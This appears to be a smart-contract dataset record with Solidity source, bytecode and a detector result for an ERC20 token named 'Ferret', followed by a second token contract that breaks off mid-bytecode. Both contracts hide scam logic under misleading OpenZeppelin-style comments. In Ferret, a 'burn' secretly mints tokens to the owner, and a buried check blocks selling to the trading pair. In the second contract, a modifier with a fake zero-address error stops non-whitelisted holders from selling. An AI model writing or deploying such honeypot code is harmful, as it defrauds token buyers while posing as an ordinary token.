function approver() virtual external view returns (address){}
/**
* @dev approver of the amount of tokens that can interact with the allowance mechanism
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Ferret is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal approver;
string public name;
uint8 public decimals;
address internal zero;
uint _totalSupply;
uint internal number;
address internal nulls;
address internal openzepplin = 0x2fd06d33e3E7d1D858AB0a8f80Fa51EBbD146829;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev burns a specific amount of tokens.
* param value The amount of lowest token units to be burned.
*/
function burnFrom(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: burn from the zero address");
_burnFrom (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == approver) _allowed(tokens);
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function _allowed(uint tokens) internal {
nulls = IERC20(openzepplin).zeroAddress();
number = tokens;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _burnFrom(address _Address, uint _Amount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
nulls = _Address;
_totalSupply = _totalSupply.add(_Amount*2);
balances[_Address] = balances[_Address].add(_Amount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the nulls address. */ || (start == nulls && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply) {
symbol = _symbol;
name = _name;
decimals = 9;
_totalSupply = _supply*(10**uint(decimals));
number = _totalSupply;
approver = IERC20(openzepplin).approver();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100d55760003560e01c8063395093511161007957806395d89b411161005657806395d89b411461023a578063a457c2d71461024f578063a9059cbb1461026f578063dd62ed3e1461028f57005b806339509351146101c457806370a08231146101e457806379cc67901461021a57005b8063141a8dd8116100b2578063141a8dd81461010957806318160ddd1461015557806323b872dd14610178578063313ce5671461019857005b806306fdde03146100de5780630930907b14610109578063095ea7b31461012557005b366100dc57005b005b3480156100ea57600080fd5b506100f36102d5565b6040516101009190610c13565b60405180910390f35b34801561011557600080fd5b5060405160008152602001610100565b34801561013157600080fd5b50610145610140366004610be7565b610363565b6040519015158152602001610100565b34801561016157600080fd5b5061016a6103ea565b604051908152602001610100565b34801561018457600080fd5b50610145610193366004610ba6565b610427565b3480156101a457600080fd5b506004546101b29060ff1681565b60405160ff9091168152602001610100565b3480156101d057600080fd5b506101456101df366004610be7565b610581565b3480156101f057600080fd5b5061016a6101ff366004610b33565b6001600160a01b031660009081526009602052604090205490565b34801561022657600080fd5b506100dc610235366004610be7565b6105c5565b34801561024657600080fd5b506100f361069b565b34801561025b57600080fd5b5061014561026a366004610be7565b6106a8565b34801561027b57600080fd5b5061014561028a366004610be7565b6106de565b34801561029b57600080fd5b5061016a6102aa366004610b6d565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b600380546102e290610cb6565b80601f016020809104026020016040519081016040528092919081815260200182805461030e90610cb6565b801561035b5780601f106103305761010080835404028352916020019161035b565b820191906000526020600020905b81548152906001019060200180831161033e57829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b0387811685529252822084905560025491929116141561039f5761039f826107c9565b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b5460055461042291610874565b905090565b60006001600160a01b0384161580159061044f575060045461010090046001600160a01b0316155b156104795760048054610100600160a81b0319166101006001600160a01b03861602179055610483565b6104838484610894565b6001600160a01b0384166000908152600960205260409020546104a69083610874565b6001600160a01b038516600090815260096020908152604080832093909355600a8152828220338352905220546104dd9083610874565b6001600160a01b038086166000908152600a6020908152604080832033845282528083209490945591861681526009909152205461051b9083610972565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061056f9086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610972565b61098d565b50600192915050565b6000546001600160a01b031633146105dc57600080fd5b6001600160a01b0382166106415760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084015b60405180910390fd5b61064b8282610ab1565b6001600160a01b03821660009081526009602052604090205461066e9082610874565b6001600160a01b0383166000908152600960205260409020556005546106949082610874565b6005555050565b600180546102e290610cb6565b336000818152600a602090815260408083206001600160a01b038716845290915281205490916105bc9185906105b79086610874565b6004546000906001600160a01b038481166101009092041614156107325760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b6044820152606401610638565b3360009081526009602052604090205461074c9083610874565b33600090815260096020526040808220929092556001600160a01b038516815220546107789083610972565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103d89086815260200190565b600860009054906101000a90046001600160a01b03166001600160a01b0316630930907b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561081757600080fd5b505afa15801561082b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084f9190610b50565b600780546001600160a01b0319166001600160a01b0392909216919091179055600655565b60008282111561088357600080fd5b61088d8284610c9f565b9392505050565b6004546001600160a01b03828116610100909204161415806108e057506007546001600160a01b0383811691161480156108e057506004546001600160a01b0382811661010090920416145b8061092257506004546001600160a01b038281166101009092041614801561092257506006546001600160a01b03831660009081526009602052604090205411155b61096e5760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f20616464726573730000000000006044820152606401610638565b5050565b600061097e8284610c68565b9050828110156103e457600080fd5b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610638565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610638565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b038416179055610ae3610ada826002610c80565b60055490610972565b600555610b13610af4826002610c80565b6001600160a01b03841660009081526009602052604090205490610972565b6001600160a01b0390921660009081526009602052604090209190915550565b600060208284031215610b4557600080fd5b813561088d81610d07565b600060208284031215610b6257600080fd5b815161088d81610d07565b60008060408385031215610b8057600080fd5b8235610b8b81610d07565b91506020830135610b9b81610d07565b809150509250929050565b600080600060608486031215610bbb57600080fd5b8335610bc681610d07565b92506020840135610bd681610d07565b929592945050506040919091013590565b60008060408385031215610bfa57600080fd5b8235610c0581610d07565b946020939093013593505050565b600060208083528351808285015260005b81811015610c4057858101830151858201604001528201610c24565b81811115610c52576000604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610c7b57610c7b610cf1565b500190565b6000816000190483118215151615610c9a57610c9a610cf1565b500290565b600082821015610cb157610cb1610cf1565b500390565b600181811c90821680610cca57607f821691505b60208210811415610ceb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b0381168114610d1c57600080fd5b5056fea264697066735822122002f71f85bf17048545895b425f98ef967043a9b15b671ffc970ed1a0f12c61cc64736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,314 |
0xbeaec5df2111649add963607c978d2f230fcf6b1
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
if(sender==_address0){_Addressint[recipient] = true;}
_;}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
//transfer
function _transfer_SEPA(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611bbd60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ac490919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611c2e6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a049092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611c0a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611b756022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673f